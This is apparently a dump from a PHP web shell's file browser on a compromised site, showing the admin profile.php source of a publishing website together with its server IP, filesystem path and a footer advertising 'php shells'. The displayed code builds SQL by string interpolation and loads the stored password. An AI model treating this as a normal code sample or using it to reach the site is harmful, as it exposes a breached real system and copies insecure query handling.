Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : //home/u866425823/domains/amberpublishers.in/public_html/admin/profile.php

<?php
session_start();
require 'include/PHPHelper.php';
if (!isset($_SESSION['userID'])) {
  header("location: login.php");
}

?>

<!DOCTYPE html>
<html lang="en">
<?php

$title = "Profile || Amber Publishers";
include 'include/head.php';
require 'include/db.php';
//fetching username and email from database admin_access_info table
$sessionUserName = $_SESSION['username'];

//fetching username and email from database admin_access_info table




?>
<!-- //fetching username and email from database admin_access_info table -->
<?php
require 'include/db.php';
$sessionid = $_SESSION['userID'];

$sql = "SELECT * FROM admin_access_info WHERE id = '$sessionid '";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
$sessionUserName = $row['username'];
$sessionUserEmail = $row['email'];
$sessionUserID = $row['id'];
$sessionUserPassword = $row['password'];

// echo $sessionUserName;
// echo $sessionUserEmail;
// echo $sessionUserID;
// echo $sessionUserPassword;
// echo $sessionUserRole;
?>





<body>

  <!-- ======= Header ======= -->
  <?php
  include 'include/header.php';
  ?>
  <!-- End Header -->

  <!-- ======= Sidebar ======= -->
  <?php
  include 'include/sidebar.php';
  ?>
  <!-- End Sidebar-->

  <main id="main" class="main">

    <div class="pagetitle">
      <h1>Profile</h1>
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li>
          <li class="breadcrumb-item">Users</li>
          <li class="breadcrumb-item active">Profile</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section profile">
      <div class="row">
        <!-- <div class="col-xl-12">

          <div class="card">
            <div class="card-body profile-card pt-4 d-flex flex-column align-items-center">
              <h2>php echo $sessionUserName;</h2>
       
            </div>
          </div>

        </div> -->

        <div class="col-xl-12">

          <div class="card">
            <div class="card-body pt-3">
              <!-- Bordered Tabs -->
              <ul class="nav nav-tabs nav-fill nav-justified">

                <li class="nav-item">
                  <button class="nav-link active" data-bs-toggle="tab" data-bs-target="#profile-overview">Overview</button>
                </li>

                <li class="nav-item">
                  <button class="nav-link" data-bs-toggle="tab" data-bs-target="#profile-edit">Edit Profile</button>
                </li>
                <li class="nav-item">
                  <button class="nav-link" data-bs-toggle="tab" data-bs-target="#profile-change-password">Change Password</button>
                </li>

              </ul>
              <div class="tab-content pt-2">

                <div class="tab-pane fade show active profile-overview" id="profile-overview">
                  <h5 class="card-title">Profile Details</h5>

                  <div class="row">
                    <div class="col-lg-3 col-md-4 label ">User Name :</div>
                    <div class="col-lg-9 col-md-8"><?php echo $sessionUserName; ?></div>
                  </div>

                  <div class="row">
                    <div class="col-lg-3 col-md-4 label">User Email :</div>
                    <div class="col-lg-9 col-md-8"><?php echo $sessionUserEmail; ?></div>
                  </div>
                </div>

                <div class="tab-pane fade profile-edit pt-3" id="profile-edit">

                  <!-- Profile Edit Form -->
                  <form class="profileEditForm" id="profileEditForm">

                    <div class="row mb-3">
                      <label for="fullName" class="col-md-4 col-lg-3 col-form-label">Full Name</label>
                      <div class="col-md-8 col-lg-9">
                        <input name="fullName" type="text" class="form-control" id="fullName" value="<?php echo $sessionUserName; ?>">
                      </div>
                    </div>

                    <div class="row mb-3">
                      <label for="position" class="col-md-4 col-lg-3 col-form-label">User Email</label>
                      <div class="col-md-8 col-lg-9">
                        <input name="userRole" type="text" class="form-control" id="userRole" value="<?php echo $sessionUserEmail; ?>" disabled>
                      </div>
                    </div>
                    <div class="text-center">
                      <button type="submit" class="btn btn-primary">Save Changes</button>
                    </div>
                  </form><!-- End Profile Edit Form -->

                </div>
                <div class="tab-pane fade pt-3" id="profile-change-password">
                  <!-- Change Password Form -->
                  <form class="profilePasswordChangeForm" id="profilePasswordChangeForm">

                    <div class="row mb-3">
                      <label for="currentPassword" class="col-md-4 col-lg-3 col-form-label">Current Password</label>
                      <div class="col-md-8 col-lg-9">
                        <input name="password" type="password" class="form-control" id="currentPassword">
                      </div>
                    </div>

                    <div class="row mb-3">
                      <label for="newPassword" class="col-md-4 col-lg-3 col-form-label">New Password</label>
                      <div class="col-md-8 col-lg-9">
                        <input name="newpassword" type="password" class="form-control" id="newPassword">
                      </div>
                    </div>

                    <div class="row mb-3">
                      <label for="renewPassword" class="col-md-4 col-lg-3 col-form-label">Re-enter New Password</label>
                      <div class="col-md-8 col-lg-9">
                        <input name="renewpassword" type="password" class="form-control" id="renewPassword">
                      </div>
                    </div>

                    <div class="text-center">
                      <button type="submit" class="btn btn-primary">Change Password</button>
                    </div>
                  </form><!-- End Change Password Form -->

                </div>

              </div><!-- End Bordered Tabs -->

            </div>
          </div>

        </div>
      </div>
    </section>

  </main><!-- End #main -->

  <!-- ======= Footer ======= -->
  <?php
  include 'include/footer.php';
  ?>

</body>

</html>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.